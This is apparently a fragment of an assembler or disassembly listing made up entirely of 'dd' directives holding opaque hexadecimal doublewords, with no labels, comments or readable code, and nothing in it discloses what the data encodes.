		dd 5ED9D568h, 2E25A633h, 6CC7D568h, 6DD5EC2Dh, 16D568A4h
		dd 2E25D968h, 6CC7D568h, 2E21EC2Dh, 0A6D1D168h,	5ED9D568h
		dd 2E25A633h, 6CC7D568h, 0A6D5EC2Dh, 5ED9D568h,	2E25A60Eh
		dd 6CC7D568h, 2E21A62Dh, 6DD5D168h, 65D168A4h, 48AEEEE4h
		dd 22D52DD5h, 2CA52D9Bh
		dd 0A6D968A6h, 22D52568h, 0A6D12D93h, 0A6D5D568h, 583DD568h
		dd 21D1220Dh, 2CA5A62Ch, 0C4D968A6h, 222D2DEBh,	2CA5689Bh
		dd 0A6D968A6h, 22D52568h, 0A6D12D93h, 0A6D5D568h, 583DD568h
		dd 21D12230h, 2CA5A62Ch, 0C6D968A6h, 0A6D12273h, 2CA52560h
		dd 0A6D968A6h, 22D52568h, 2CA52D9Bh, 0A6D968A6h, 0A6D5D568h
		dd 583DD568h, 0B0C5C62Fh, 0A4742D53h, 0A6D1D568h, 50D5D168h
		dd 2E25A607h, 6CC7D168h, 2E25A82Dh, 68A0D168h, 0AE2D7D85h
		dd 6CC621E9h, 742DC52Dh, 0A777A074h, 676DFF25h,	0E41EDB58h
		dd 0EC2EED1Eh, 742DEDECh, 68A058D2h, 0AE2D7D85h, 0E0C521E9h
		dd 74742D29h, 0D3A618A0h, 2AC63D47h, 0A6D168A6h, 2221D168h
		dd 2D2DBAA0h, 682E68A6h, 1E01A7D1h, 602E60A6h, 0B4D1A5D1h
		dd 223D3D47h, 47B4299Bh, 2E25743Dh, 2DA7D168h, 602E2907h
		dd 0B4D1A5D1h, 223D3D47h, 0FDDA299Bh, 602E60A6h, 2E25A7D1h
		dd 68A6D168h, 0DA74B421h, 2E25ECD4h, 0EF1FD168h, 602E60A6h
		dd 2E25A5D1h, 2C29D168h, 602E60A6h, 2AC6A5D1h, 0A6D168A6h
		dd 2221D168h, 2D2DBAA0h, 682E68A6h, 2C01A7D1h, 602E60A6h
		dd 0B421A5D1h, 2E253D47h, 0EF1FD168h, 602E60A6h, 0B4D1A5D1h
		dd 223D3D47h, 0FDDA299Bh, 602E60A6h, 2E25A7D1h,	68A6D168h
		dd 0DA74B4D1h, 223DA6D4h, 47B4299Bh, 2E25743Dh,	2DA7D168h
		dd 602E292Fh, 2E25A5D1h, 1E29D168h, 602E60A6h, 58D2A5D1h
		dd 0ACC5D221h, 58D2D2D3h, 32C5D221h, 68A6D2D2h,	0AE2DAE25h
		dd 0A6D121E9h, 2AC62568h, 0A6D568A6h, 5021D568h, 2E25A66Dh
		dd 682FD568h, 602EA6D1h, 2E25A5D5h, 681FD568h, 602EA6D1h
		dd 7474A5D5h, 0C6D168A4h, 6521A69Ch, 0AED568A4h, 2E25D550h
		dd 682FD568h, 602EA6D1h, 2E25A5D5h, 681FD568h, 602EA6D1h
		dd 742DA5D5h, 0A6D1A474h, 0A4D5D168h, 2DA6D168h, 0AE2568A4h
		dd 0B2C529EDh, 0E9AE2D50h, 0AE21A621h, 0AE2129C5h, 2AC6D548h
		dd 0A6D568A6h, 5021D568h, 6D1A66Dh, 47D1D568h, 742DD22Ch
		dd 0A6D1A474h, 0A7D52568h, 0A6D11F2Dh, 2E252560h, 6807D568h
		dd 602EA6D1h, 6521A5D5h, 0AED568A4h, 6D1D550h, 47D1D568h
		dd 7474D22Ch, 681F68A4h, 602EA6D1h, 2E25A5D5h, 6807D568h
		dd 602EA6D1h, 0E421A5D5h, 0A64A78EEh, 0EA252568h, 0EA25256Dh
		dd 68A6216Dh, 0A62DAE25h, 6DA62568h, 0A6D1A43Dh, 6CA43D68h
		dd 0A625A63Dh, 5ED13D6Dh, 0A625A620h, 6CA4396Dh, 0EC3DA639h
		dd 64A630C5h, 0A4252E39h, 0ECD13965h, 0AED12EC5h, 4559D150h
		dd 47D568A6h, 0A4D1756Dh, 163DD168h, 58D2D168h,	0AE2DD221h
		dd 0AE2D21E9h, 0AE2521E9h, 0EBC535EDh, 74742D2Ch, 0A4D168A6h
		dd 63D2168h, 0AE3DD168h, 0AE253D50h, 0AE2135EDh, 0A6216DEDh
		dd 0C63D3D68h, 58D2D2E8h, 0AE25A621h, 0E9AE35EDh, 0A6D5E421h
		dd 0A6D1D568h, 6DD1D168h, 0A4D568A4h, 58D2D568h, 0AE2DC5D1h
		dd 0AE2121E9h, 2D4735EDh, 0AED568A6h, 58D225C5h, 0AE2DC5D1h
		dd 68A621E9h, 0A67DAE21h, 2D2D2168h, 0D27DE9AEh, 58D22158h
		dd 39C5D221h, 0E9AE2D2Dh, 0A6D14721h, 5E3DD568h, 0A6D1A64Bh
		dd 602E2160h, 0A6D1A5D5h, 2D2D2160h, 602E60A6h,	0A6D1A5D5h
		dd 2D2D2160h, 602E60A6h, 0A6D1A5D5h, 2D2D2160h,	602E60A6h
		dd 0A625A5D5h, 0A6D1A42Dh, 68A42568h, 0A625A6D9h, 0A6DD216Dh
		dd 0A6D9D568h, 0A69DD560h, 0A6D1D160h, 0A6D1D168h, 0A4D5D168h
		dd 0ED1D168h, 0A699D568h, 0ECDDDD60h, 0A6DD21CDh, 0A4D1DD68h
		dd 0EDDDD68h, 0A695D168h, 0A409D960h, 0ECD9D968h, 0A6D93CCDh
		dd 0A4DDD968h, 0ED9D968h, 0A691DD68h, 0A6D5D560h, 0A6D5D568h
		dd 0A4D9D568h, 0ED5D568h, 0A6EDD968h, 0A6D1D160h, 0A4D5D168h
		dd 0ED1D168h, 0A6E9D568h, 0A6DDDD60h, 0A6DDDD68h, 0A4D1DD68h
		dd 0EDDDD68h, 0A6E5D168h, 0A485D960h, 0ECD9D968h, 0A6D93CCDh
		dd 0A4DDD968h, 0ED9D968h, 0A6E1DD68h, 0A6D5D560h, 0A6D5D568h
		dd 0A4D9D568h, 0ED5D568h, 0A6FDD968h, 0A6D1D160h, 0A6D1D168h
		dd 0A4D5D168h, 0ED1D168h, 0A6F9D568h, 0DD68DD60h, 0A6DDCDECh
		dd 0A4D1DD68h, 0EDDDD68h, 0A6F5D168h, 0A6D9D960h, 0A6D9D968h
		dd 0A4DDD968h, 0ED9D968h, 0A6F1DD68h, 0A6D5D560h, 0A6D5D568h
		dd 0A4D9D568h, 0ED5D568h, 0A6CDD968h, 0A446D160h, 0ECD1D168h
		dd 0A6D12ACDh, 0A4D5D168h, 0ED1D168h, 0A6C9D568h, 0A6DDDD60h
		dd 0A6DDDD68h, 0A4D1DD68h, 0EDDDD68h, 0A6C5D168h, 0A6D9D960h
		dd 0A4DDD968h, 0ED9D968h, 0A6C1DD68h, 0A6D5D560h, 0A6D5D568h
		dd 0A4D9D568h, 0EDDD568h, 0A699D568h, 0A6D1D160h, 0A6D1D168h
		dd 0A4D5D168h, 0ED9D168h, 0A6E5D168h, 0A6DDDD60h, 0A6DDDD68h
		dd 0A4D1DD68h, 0ED5DD68h, 0A6F1DD68h, 0A6D9D960h, 0A6D9D968h
		dd 0A4DDD968h, 0ED1D968h, 0A69DD968h, 0A6D5D560h, 0A4D9D568h
		dd 0EDDD568h, 0A6E9D568h, 0A6D1D160h, 0A6D1D168h, 0A4D5D168h
		dd 0ED9D168h, 0A6F5D168h, 68A4DD60h, 0ECDDA6DDh, 0A6DD24CDh
		dd 0A4D1DD68h, 0ED5DD68h, 0A6C1DD68h, 0A6D9D960h, 0A6D9D968h
		dd 0A4DDD968h, 0ED1D968h, 0A6EDD968h, 0A6D5D560h, 0A6D5D568h
		dd 0A4D9D568h, 0EDDD568h, 0A6F9D568h, 0A6D1D160h, 0A6D1D168h
		dd 0A4D5D168h, 0ED9D168h, 0A6C5D168h, 0A6DDDD60h, 0A6DDDD68h
		dd 0A4D1DD68h, 0ED5DD68h, 0A691DD68h, 0A6D9D960h, 0A4DDD968h
		dd 0ED1D968h, 0A6FDD968h, 0A6D5D560h, 0A6D5D568h, 0A4D9D568h
		dd 0EDDD568h, 0A6C9D568h, 0A6D1D160h, 0A4D5D168h, 0ED9D168h
		dd 0A695D168h, 0A6DDDD60h, 0A6DDDD68h, 0A4D1DD68h, 0ED5DD68h
		dd 0A6E1DD68h, 0A6D9D960h, 0A6D9D968h, 0A4DDD968h, 0ED1D968h
		dd 0A6CDD968h, 0ECD5D560h, 0A6D539CDh, 0A4D9D568h, 1ED5D568h
		dd 2EDDD968h, 0A6D1E968h, 0A4D5D168h, 1ED1D168h, 2ED9D568h
		dd 0A6DDFD68h, 0A6DDDD68h, 0A4D1DD68h, 1EDDDD68h, 2ED5D168h
		dd 0A6D9F168h, 1EDDD968h, 0A6C5D168h, 0A6D5D560h, 0A4D9D568h
		dd 1ED5D568h, 2EDDD968h, 0A6D19968h, 0A4D5D168h, 1ED1D168h
		dd 2ED9D568h, 0A6DDED68h, 0A6DDDD68h, 0A4D1DD68h, 1EDDDD68h
		dd 2ED5D168h, 1EDDE168h, 0A6F5D168h, 0A6D5D560h, 0A6D5D568h
		dd 0A4D9D568h, 1ED5D568h, 2EDDD968h, 0A6D1C968h, 0A6D1D168h
		dd 0A4D5D168h, 1ED1D168h, 2ED9D568h, 0A6DD9D68h, 0A6DDDD68h
		dd 0A4D1DD68h, 1EDDDD68h, 2ED5D168h, 0A6D99168h, 1EDDD968h
		dd 0A6E5D168h, 0A6D5D560h, 0A4D9D568h, 1ED5D568h, 2EDDD968h
		dd 0A6D1F968h, 0A6D1D168h, 0A4D5D168h, 1ED1D168h, 2ED9D568h
		dd 0A6DDCD68h, 0A6DDDD68h, 0A4D1DD68h, 1EDDDD68h, 2ED5D168h
		dd 0A6D9C168h, 1EDDD968h, 0A695D168h, 68A4D560h, 0ECD5A6D5h
		dd 0A6D53ACDh, 0A4D9D568h, 0DADDD568h, 1ED9A6FDh, 0A69D2EECh
		dd 0A6D1D160h, 0A6D1D168h, 0A4D5D168h, 0DAD9D168h, 1ED5A6FDh
		dd 0A6E12EECh, 0A6DDDD60h, 0A6DDDD68h, 0A4D1DD68h, 0DAD5DD68h
		dd 1ED1A6FDh, 0A6C52EECh, 0A486D960h, 0ECD9D968h, 0A6D922CDh
		dd 0A4DDD968h, 0DAD1D968h, 1EDDA6FDh, 0A6E92EECh, 0A4D1D560h
		dd 0ECD5D568h, 0A6D538CDh, 0A4D9D568h, 0DADDD568h, 1ED9A6FDh
		dd 0A6CD2EECh, 0A6D1D160h, 0A6D1D168h, 0A4D5D168h, 0DAD9D168h
		dd 1ED5A6FDh, 0A6912EECh, 0ECDDDD60h, 0A6DD27CDh, 0A4D1DD68h
		dd 0DAD5DD68h, 1ED1A6FDh, 0A6F52EECh, 0A6D9D960h, 0A6D9D968h
		dd 0A4DDD968h, 0DAD1D968h, 1EDDA6FDh, 0A6992EECh, 0A4A8D560h
		dd 0ECD5D568h, 0A6D538CDh, 0A4D9D568h, 0DADDD568h, 1ED9A6FDh
		dd 0A6FD2EECh, 0A6D1D160h
		dd 0A6D1D168h, 0A4D5D168h, 0DAD9D168h, 1ED5A6FDh, 0A6C12EECh
		dd 0A6DDDD60h, 0A6DDDD68h, 0A4D1DD68h, 0DAD5DD68h, 1ED1A6FDh
		dd 0A6E52EECh, 0A6D9D960h, 0A6D9D968h, 0A4DDD968h, 0DAD1D968h
		dd 1EDDA6FDh, 0A6C92EECh, 0A463D560h, 0ECD5D568h, 0A6D538CDh
		dd 0A4D9D568h, 0DADDD568h, 1ED9A6FDh, 0A6ED2EECh, 0A6D1D160h
		dd 0A6D1D168h, 0A4D5D168h, 0DAD9D168h, 1ED5A6FDh, 0A6F12EECh
		dd 0A6DDDD60h, 0A6DDDD68h, 0A4D1DD68h, 0DAD5DD68h, 1ED1A6FDh
		dd 0A6952EECh, 0A6D9D960h, 0A6D9D968h, 0A4DDD968h, 0DAD1D968h
		dd 1EDDA6FDh, 0A6F92EECh, 0A6D5D560h, 0A4D9D568h, 0A625D568h
		dd 0A6D12E2Dh, 0A6252560h, 0A6D5296Dh, 682E2560h, 6CA4A6D9h
		dd 0A625A625h, 0A6DD216Dh, 0A6D12560h, 5E3DD568h, 2E21A66Ch
		dd 0EC26D568h, 2 dup(0EC2660A6h), 2D4760A6h, 914568A0h
		dd 29476CC6h, 6C5D58D2h, 2947452Dh, 58D258D2h, 0EEE4D2D1h
		dd 0A42DA678h, 0DDD1D168h, 0FE2DEC22h, 0DD2D2EEFh, 0FF1EEC22h
		dd 0DD2DDA6Ch, 22DDEC22h, 722D28ECh, 22DD7673h,	2D2D28ECh
		dd 0DD2D7372h, 2F58EC22h, 0A4257DC6h, 0AED1D168h, 0A6D129EDh
		dd 0C6212168h, 0A4D1A6F1h, 6D252568h, 68A668A4h, 0C6216521h
		dd 582DE4CDh, 0A421A62Bh, 0A6D53568h, 0AED1D568h, 0F5BD150h
		dd 9FC558D2h, 2CA5D2D3h, 0A46D68A6h, 65D12568h,	0E4D568A4h
		dd 68A078EEh, 0D3A67D85h, 0A6D13D47h, 22D12568h, 0B4D12D93h
		dd 2E253D47h, 0AF1FD168h, 60A6C6FDh, 0A6D12E25h, 22D12568h
		dd 0B4D12D93h, 2E253D47h, 0AF1FD168h, 60A6C6FDh, 472D2E25h
		dd 0D2254565h, 0A62D135Dh, 472D2568h, 2D3D452Dh, 0D225A02Dh
		dd 2A47135Dh, 0D2258545h, 2825075Dh, 7D2D2C6Bh,	0EB2868A6h
		dd 0A67D2D2Dh, 2D2F2568h, 0AE2DA02Dh, 37500DE9h, 0B9205747h
		dd 0AE2DD2D1h, 0E9AE21E9h, 0E9AE4721h, 0AE2D4721h, 0AE2D21E9h
		dd 6C8521E9h, 0E9AEA02Dh, 62D9521h, 0D145BDA8h,	0A8A66C8Ah
		dd 0AE2DC9A5h, 0A8A421E9h, 6C85C9A5h, 0AE2DA62Dh, 0D4721E9h
		dd 0AE2DBD47h, 0A8A421E9h, 0E9AEC9A5h, 0AE2DA621h, 2D4F21E9h
		dd 0AE2DAE2Dh, 0A8A621E9h, 0AE2DC9A5h, 0E9AE21E9h, 0BD47A621h
		dd 0E9AEA8A6h, 0A8A4A621h, 0AE2DC9A5h, 2 dup(0AE2D21E9h)
		dd 0A8A621E9h, 0AE2DC9A5h, 0AE2D21E9h, 0A8A021E9h, 0AE2DD1B9h
		dd 0A42D21E9h, 0A8A6A5A8h, 0E9AEC9A5h, 0AE2DA621h, 0D22521E9h
		dd 0A62D135Dh, 2D452568h, 0A8A02D3Dh, 0D225C9A1h, 0EEE4135Dh
		dd 472DA678h, 5DD2452Ah, 2825A607h, 7D2D2C6Bh, 0EB2868A6h
		dd 0A67D2D2Dh, 2D2F2568h, 0AE2DA02Dh, 452D0DE9h, 452D2DA4h
		dd 68A6827Dh, 0A02DD225h, 0D225D9A8h, 452D135Dh, 452D2D85h
		dd 68A682F1h, 0A02DD225h, 0D225D9A8h, 452D135Dh, 452D2DF3h
		dd 68A69DA5h, 0A02DD225h, 0D225D9A8h, 9322135Dh, 68A619A8h
		dd 452DD225h, 0A02D2B2Dh, 0D225D9A8h, 2D2F135Dh, 452D472Dh
		dd 0A02D2B2Dh, 0D225D9A8h, 452D135Dh, 452D2D8Dh, 68A69F21h
		dd 0A02DD225h, 0D225D9A8h, 2D2F135Dh, 9322222Dh, 2D2DD168h
		dd 0A8A09D45h, 0E9AED9A5h, 0E9AED221h, 49954721h, 0A8062D2Fh
		dd 0A8A0D0D9h, 0E9AEDA5Fh, 0A8A04721h, 0E9AEDA53h, 0A8A04721h
		dd 0AE2DDA8Fh, 0A8A021E9h, 0E9AEDA83h, 15454721h, 0A8A06C9Eh
		dd 2D70DAFFh, 0A02DAE2Dh, 0D225A5A8h, 0D22D135Dh, 4745B138h
		dd 0A8A02D2Eh, 0D225D9A5h, 222D135Dh, 9322A893h, 9322D168h
		dd 452DD5A8h, 452D2DABh, 0A8A09E71h, 0E9AEC299h, 62D9521h
		dd 2D2DD9A8h, 0AE2DA02Dh, 0E9AE21E9h, 6C99AE21h, 0AE2DA62Dh
		dd 0C94521E9h, 0A8A06C9Eh, 0AE2DD94Fh, 0A02D21E9h, 0D22599A8h
		dd 1558135Dh, 0A6D148AEh, 5E21D168h, 2D474733h,	2CA546C5h
		dd 5852FEC6h, 6DD5AE18h, 16D568A4h, 0C52168h, 6C96D2D9h
		dd 16D9A52Dh, 2D472168h, 22DD2CC5h, 0E4A86893h,	46DD2F59h
		dd 602E28EDh, 6C96A7D9h, 6DD9A52Dh, 215868A4h, 8DC558D2h
		dd 2459D26Dh, 2D2D90AEh, 21455545h, 20C56CC1h, 74742D76h
		dd 3E58A8A4h, 0EDA898D2h, 2D2F4258h, 0AE2D472Dh, 742D3DE9h
		dd 742DED1Eh, 0A4252C47h, 2D45D9A8h, 0A8A02D2Fh, 0E9AED7C5h
		dd 742DA021h, 0A8A5A07Dh, 88AED3D1h, 88AED3C5h,	4D45D3D5h
		dd 98D22DC7h, 2D2FD3D9h, 2459A02Dh, 2D6C90AEh, 2F58A8A0h
		dd 2D6CAEC6h, 27582D47h, 6CF2A8EAh, 2D6CA02Dh, 452D2D47h
		dd 2D45EBB5h, 0A8A02D2Fh, 0E9AED7C5h, 742DA021h, 2D45A07Dh
		dd 0A8A02D2Fh, 0E9AED7C5h, 7D74A021h, 2858A8A0h, 0F5DA76C4h
		dd 2D45ED36h, 0A8A02D2Fh, 0E9AED7C5h, 2D7AA021h, 0F5DA742Dh
		dd 2D45ED36h, 0A8A02D2Fh, 0E9AED7C5h, 7D74A021h, 0F5DAA8A0h
		dd 2D45ED36h, 0A8A02D2Fh, 0E9AED7C5h, 7D74A021h, 0F5DAA8A0h
		dd 2D45ED36h, 0A8A02D2Fh, 2D7AD7C5h, 2D7BAE2Dh,	6CEB742Dh
		dd 2D2F452Dh, 0E9AEA02Dh, 7D74A021h, 0F5DAA8A0h, 6CEBED36h
		dd 2D45D22Dh, 0A8A02D2Ch, 0E9AED3D1h, 2D2DA631h, 0A0A6CDECh
		dd 2B47D7E1h, 0E9AEA8A0h, 2D45453Dh, 0A8A02D2Fh, 0E9AED7C5h
		dd 7D74A021h, 2145A8A0h, 13C56CC1h, 74742D78h, 2858A8A4h
		dd 472D77C4h, 98D2472Fh, 0E9AED795h, 0A474D221h, 2D4791A8h
		dd 0E9AE98D2h, 0D274D221h, 2D459198h, 0A8A02D2Fh, 0E9AED7C5h
		dd 7D74A03Dh, 0A02DA8A0h, 2D79C5A8h, 742DAE2Dh,	472DA07Dh
		dd 0D214A02Dh, 2459AED2h, 452D90AEh, 2145AE55h,	2CC56CC1h
		dd 74742D79h, 0D2D2A8A4h, 0D2D290AEh, 472D582Dh, 98D2472Fh
		dd 0E9AED781h, 0D2D2D221h, 0A47491C5h, 2D479DA8h, 0D2D298D2h
		dd 0E9AEEBC5h, 0D2D2D221h, 457489C5h, 98D2C121h, 0A02DD79Dh
		dd 742DC5A8h, 2D45A07Dh, 0A8A02D2Fh, 0E9AED7C5h, 7D74A021h
		dd 0F5DAA8A0h, 0A02DED36h, 0E9AEC5A8h, 2D45A021h, 0A8A02D2Fh
		dd 0E9AED7C5h, 7D74A021h, 76C5A8A0h, 0D22DD2AEh, 7EC6B138h
		dd 0A02D7CC6h, 0E9AEC5A8h, 742DA021h, 2D45A07Dh, 0A8A02D2Fh
		dd 0E9AED7C5h, 7D74A021h, 472DA8A0h, 7FC5D21Fh,	0A02DD217h
		dd 0B2C52DA8h, 2459D214h, 0A02D90AEh, 0A8A02DA8h, 7474D32Dh
		dd 0A8A0EDA8h, 7474D32Dh, 0D2D3A8A0h, 28C57DD2h, 2D2FD214h
		dd 5DC5A02Dh, 2459D214h, 2D2D90AEh, 0D2D3A8A0h,	0A8A07DD2h
		dd 742DD32Dh, 0A8A0A874h, 0E9AED32Dh, 45C5A021h, 2D2FD215h
		dd 0FEC5A02Dh, 2459D215h, 0A8A090AEh, 742DD32Dh, 742DA874h
		dd 0C62D68EAh, 6DD5A62Ah, 2D2D68A4h, 0AE2D2747h, 9BC521E9h
		dd 4859D219h, 6DD998D2h, 0D20168A4h, 0AEDDAED2h, 3E58DD50h
		dd 0F14598D2h, 0A8A06CEBh, 0D22DD369h, 0D2D3DD58h, 70C5D2D2h
		dd 0D2D3D25Ah, 0D21BC5D2h, 75C574D2h, 0E8C5D2D3h, 0A4742D60h
		dd 0AED1D168h, 6CEA29EDh, 2225A62Dh, 0F5DAAD93h, 0AE2DED36h
		dd 742D21E9h, 6C5F2D47h, 2D47A42Dh, 0AE2DA8A0h,	684721E9h
		dd 6C5F38D2h, 0A8A44B2Dh, 3D47D379h, 6C5FA8A0h,	2145AE2Dh
		dd 9AC56CC1h, 74742D61h, 3258A8A4h, 6C5F98D2h, 0A545D22Dh
		dd 0A8A06CEAh, 98D2D181h, 0AE2DD3D9h, 742D21E9h, 98D268A4h
		dd 0E9AED3D9h, 2D2D4521h, 0E9AE2D47h, 88AEEA21h, 88AED989h
		dd 20C6D9B5h, 2D2FA8A6h, 0A8A65E2Dh, 2D47D9B5h,	38D2A8A0h
		dd 0EDA85F01h, 0EA2DA322h, 6CF251A8h, 0AD45A52Dh, 0A8A02D2Dh
		dd 0A8A4D349h, 0D2D9D9B9h, 0D2D92DD2h, 9322D2D2h, 2D2C48A8h
		dd 742DA02Dh, 742DA0A6h, 0AE2DD27Dh, 3E4721E9h,	51C64145h
		dd 98D22D47h, 0AE2DD3D9h, 0D2DF21E9h, 0D2DF2ED2h, 2D2F2CD2h
		dd 0AE2D472Dh, 0A8A63DE9h, 0D5C4DF5Dh, 93222D2Ch
		dd 932249A8h, 0A8A748A8h, 0AE2DD34Bh, 2D2F21E9h, 0E9AE472Dh
		dd 0A8A6A43Dh, 90AEDF41h, 0A822DF41h, 0A62D2DB1h, 22D149A8h
		dd 2D2DA7AFh, 0D2DFA8A6h, 5AC5A4D2h, 6DC5D254h,	0A07DD254h
		dd 2447C9A8h, 0A8A60945h, 6C5FD185h, 742DD22Dh,	68A668A4h
		dd 9322AED1h, 0F5DAA6ADh, 0A6D1ED36h, 5E21D168h, 6DD5AE17h
		dd 16D568A4h, 2E253968h, 0EC1ED168h, 602E60A6h,	48AE22D5h
		dd 0EA2D2DDDh, 2D2DD968h, 58D258D2h, 2825C525h,	0A42D2DA2h
		dd 2825D168h, 0A42D2DA5h, 2825DD68h, 0A42D2D81h, 582FD568h
		dd 2D2DAC6Fh, 0EBD92A5Eh, 58D22D2Dh, 58D245D9h,	0AE2DC525h
		dd 282521E9h, 0A42D2DA4h, 2825DD68h, 0A42D2DEDh, 0F7C5D568h
		dd 0E9AE2D68h, 2825A621h, 0A42D2DABh, 2825D168h, 0A42D2DA0h
		dd 2825DD68h, 0A42D2D81h, 60A6D568h, 0F3C5A4D1h, 7D742D68h
		dd 6C5F38D2h, 68A6A62Dh, 68A6A6D5h, 0A6DDA425h,	58D22568h
		dd 2D2DC5D1h, 58D23147h, 0E9AEC5DDh, 68A48C21h,	0F9C5C6D5h
		dd 58D2D2F0h, 2947D209h, 1EC168A0h, 47C9D568h, 2947D22Dh
		dd 0A6DD68A0h, 6CE6C960h, 0C6D9A52Dh, 0A7D9C53Dh, 58D2D968h
		dd 0A7DDD2C1h, 0A6C5D960h, 5EC1C568h, 2ED1A638h, 681FC568h
		dd 0AEC1A6D9h, 294731EDh, 0A6DDEEC5h, 6CAB5DA8h, 6CE7A62Dh
		dd 0AE2DA02Dh, 742D21E9h, 0A8A04574h, 0D9C5D359h, 2D2DD206h
		dd 2D2C28EAh, 222D2D2Dh, 2D2DA9A9h, 6CF60D47h, 0A8A0A02Dh
		dd 0D2F0D099h, 0D2F074D2h, 742D74D2h, 2D2DA874h, 592D28C6h
		dd 0D454728h, 0E6C56CC0h, 74742D6Fh, 2D2F68A4h,	0E9AE472Dh
		dd 0AED1A43Dh, 2358D150h, 742D58D2h, 80C52C47h,	4D45D207h
		dd 58D22DC7h, 2947C525h, 38D268A0h, 68A65F65h, 6DD5E4D1h
		dd 46D568A4h, 592D17EDh, 46D5A67Fh, 681617EDh, 47D15825h
		dd 46D5A617h, 0AE2117EDh, 0AE253EEDh, 0D2C507EDh, 6CB9D237h
		dd 742DA02Dh, 6CF6A074h, 0E9AEC52Dh, 45D5A021h,	472D2F2Eh
		dd 0AE2DA02Dh, 0AED121E9h, 0C545D150h, 58D22D2Eh, 2D2FC521h
		dd 2D6DD22Dh, 472DAE2Dh, 0E9AED22Dh, 472DC621h,	0D2D2A02Dh
		dd 58D2A874h, 0DC5A021h, 6C5FD2D3h, 0D22D452Dh,	2FC6B138h
		dd 58D290C6h, 25C5D221h, 2D2DD209h, 88AE88AEh, 20C6DA89h
		dd 58D5A8A6h, 2D2FC62Fh, 0A8A05E2Dh, 2D47DADDh,	68A438D2h
		dd 2D2DAED9h, 265858D2h, 0AED158D2h, 2658D150h,	0D22D58D2h
		dd 58D2B138h, 0D2D5C5D5h, 0AE95D558h, 20589550h, 0AED158D2h
		dd 2058D150h, 0D20B58D2h, 0D22D74D2h, 58D2B138h, 58D2C5D5h
		dd 0AE2DA025h, 0D2D221E9h, 0AED17474h, 3E58D150h, 54598D2h
		dd 0A8A06CE0h, 80C5D37Bh, 74742D11h, 0D22DA8A6h, 8CC5D158h
		dd 0A474D248h, 0AE2DD568h, 23592150h, 0C52D58D2h, 0A6D9F981h
		dd 0AED1D968h, 2459D150h, 452D50ACh, 0C52D292Ch, 47D1F9AEh
		dd 0AED5A627h, 0AE2D29EDh, 0AED521E9h, 68A627EDh, 0F5DA2225h
		dd 0CEC5ED36h, 0A6D1D248h, 222DD168h, 2D2D8FA9h, 0CCAC68A6h
		dd 0A62D2DD2h, 0EC069BADh, 68A660A6h, 68A646D1h, 582D46D1h
		dd 6DD5C62Fh, 46D568A4h, 592D17EDh, 16D1A60Bh, 0AC16D568h
		dd 2F58E083h, 0D2D2B3C6h, 58D2EEE4h, 0D20EC525h, 0D22DAED2h
		dd 472D2558h, 2D25452Dh, 38D2A02Dh, 68A45F65h, 2D2DAED5h
		dd 0A62D2A58h, 48AED568h, 0A8A02DD1h, 0AEDDDADDh, 2A58DD50h
		dd 68A0ED1Eh, 68A07DD1h, 58D27DD1h, 0AE2DC5DDh,	0A8A021E9h
		dd 58D2DAC1h, 0E9AEC5DDh, 90AEAE3Dh, 0AE2DDAC5h, 2F47C590h
		dd 2D2DC475h, 2D2DF3C4h, 472D50AEh, 58D2452Bh, 2 dup(58D2C5DDh)
		dd 0AE2DC5D9h, 58D221E9h, 0AE2DC5D9h, 90AE21E9h, 58D2DACDh
		dd 2BC5A025h, 47742D15h, 0D2D2D22Ch, 90AE1E74h,	0A59D3C3h
		dd 2D2D98D2h, 6CDD90AEh, 742DA02Dh, 452DC674h, 0C52D292Ch
		dd 0AE2DE2DAh, 742D21E9h, 7DD7C674h, 6CDD26C5h,	742DA02Dh
		dd 0D3CBA074h, 457AD2D2h, 0D22D2FE4h, 0AE2D2558h, 0D2D221E9h
		dd 2D472274h, 2D2DA8A0h, 742D88AEh, 742DA074h, 0A8A0A874h
		dd 2D18D192h, 0A8A5742Dh, 0D22DD0D9h, 0AED5D798h, 3E58D550h
		dd 0A62D98D2h, 2D2D85A8h, 2D2D27C6h, 2 dup(2D2D9322h)
		dd 2D2D90AEh, 0CDC590AEh, 6CE2D249h, 0AE2DA62Dh, 95C539E9h
		dd 0D545D249h, 0A8A06CE3h, 90AED7D3h, 2658D185h, 0D22DC545h
		dd 88AEB138h, 7CC5D3D9h, 0A8A42D1Eh, 2E2DD189h,	162DD168h
		dd 742D5FECh, 0A8A0A074h, 742DD0D9h, 0D23AA874h, 2E2DAED2h
		dd 162DD168h, 58D25EECh, 0D2D2C5D5h, 0D2D290AEh, 2DC5582Dh
		dd 0A4742D1Fh, 0A8A085A8h, 0E9AED185h, 0C5C5A621h, 0D2D2D277h
		dd 0D2D2C5C5h, 0A8A00DC5h, 0A8A7D7D3h, 0D22DD489h, 68A6B138h
		dd 0A42D28D1h, 0A806D168h, 7C7CD189h, 0A8A031F0h, 582DD7D3h
		dd 9AC5C428h, 66C5D212h, 0C62DD22Ah, 0A6C1AE77h, 0EDA8C168h
		dd 46C12858h, 68A017EDh, 742D7DF5h, 0D223A874h,	0A4743958h
		dd 0ADF9F968h, 68A62C7Ch, 0AED1A4F9h, 2459D150h, 0ADD150ACh
		dd 50AE2C7Ch, 3FC52D35h, 0A4742D1Dh, 0FDFDFD68h, 68A62D2Ah
		dd 0AED9A4FDh, 5B2DD950h, 0FDD9EA2Ah, 50AE2D2Ah, 0A4742D31h
		dd 2DE1E168h, 68A62D2Ch, 0AEDDA4E1h, 2459DD50h,	2DDD50ACh
		dd 0E4452D2Ch, 7FC52D2Fh, 0A4742D02h, 0D22DD568h, 0AED52158h
		dd 68A629EDh, 0A6D528D5h, 28D5D960h, 7D2D2C0Bh,	0D2D5C5C5h
		dd 68A6379Dh, 68A628D5h, 0F5DA2225h, 0DBC5ED36h, 0D22DD275h
		dd 0A6742558h, 2545FDA8h, 0A8A06CFDh, 88AED379h, 68A0D651h
		dd 222D7DD1h, 472D0FA9h, 0E9AEA617h, 0D2D6A621h, 0A9227DD2h
		dd 0A62D2DC8h, 2159ADA8h, 2D2DA8EAh, 2D2D27C6h,	0A8C69322h
		dd 0A8F659EDh, 2D2D59EDh, 0A8F19322h, 2D2D59EDh, 275990AEh
		dd 2D2DA8EAh, 0A5F290AEh, 0A7C141A8h, 22F241A8h, 7D2D6893h
		dd 0A9222D47h, 452D2D8Eh, 0C52D2C61h, 742D0145h, 2858A8A4h
		dd 0A8A069C4h, 0AE2DD6ADh, 6DC521E9h, 742DD278h, 0A8A033C6h
		dd 0B945D379h, 0A8A06CE2h, 0D2D2D379h, 0C52DE9AEh, 742D0664h
		dd 58D268A4h, 0AED1A621h, 0D22D29EDh, 28D12558h, 7D2D2CA9h
